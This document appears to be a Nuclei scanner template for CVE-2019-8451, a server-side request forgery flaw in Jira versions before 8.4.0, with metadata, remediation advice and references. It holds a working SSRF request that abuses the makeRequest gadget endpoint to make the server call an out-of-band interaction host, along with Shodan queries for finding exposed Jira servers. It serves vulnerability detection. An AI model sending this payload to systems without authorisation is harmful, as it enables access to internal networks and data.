id: CVE-2019-8451

info:
  name: Jira <8.4.0 - Server-Side Request Forgery
  author: TechbrunchFR
  severity: medium
  description: Jira before 8.4.0 is susceptible to server-side request forgery. The /plugins/servlet/gadgets/makeRequest resource contains a logic bug in the JiraWhitelist class, which can allow an attacker to access the content of internal network resources and thus modify data, and/or execute unauthorized operations.
  impact: |
    Successful exploitation of this vulnerability can lead to unauthorized access to internal resources, data leakage, and potential remote code execution.
  remediation: |
    Upgrade Jira to version 8.4.0 or later to mitigate the SSRF vulnerability.
  reference:
    - https://www.tenable.com/blog/cve-2019-8451-proof-of-concept-available-for-server-side-request-forgery-ssrf-vulnerability-in
    - https://jira.atlassian.com/browse/JRASERVER-69793
    - https://hackerone.com/reports/713900
    - https://nvd.nist.gov/vuln/detail/CVE-2019-8451
    - https://github.com/merlinepedra/nuclei-templates
  classification:
    cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:L/A:N
    cvss-score: 6.5
    cve-id: CVE-2019-8451
    cwe-id: CWE-918
    epss-score: 0.80308
    epss-percentile: 0.99569
    cpe: cpe:2.3:a:atlassian:jira_server:*:*:*:*:*:*:*:*
  metadata:
    max-request: 1
    vendor: atlassian
    product: jira_server
    shodan-query:
      - http.component:"Atlassian Jira"
      - http.component:"atlassian jira"
  tags: cve,cve2019,atlassian,jira,ssrf,oast,tenable,hackerone,vkev,vuln

http:
  - method: POST
    path:
      - '{{BaseURL}}/plugins/servlet/gadgets/makeRequest'

    body: |
      url=https://{{Host}}:443@{{interactsh-url}}

    headers:
      X-Atlassian-Token: no-check
      Content-Type: application/x-www-form-urlencoded
    matchers:
      - type: word
        part: interactsh_protocol
        words:
          - "http" # Confirms the HTTP Interaction
# digest: 4b0a00483046022100fe07bfe39bb078340362b5c6d29fd416bfaee01df4878a8533a583f040f2f711022100f5809780ccc92db6bb62bf0788a613cabb2bc9ea8523cb77b6ea6c53b907be40:922c64590222798bb761d5b6d8e72950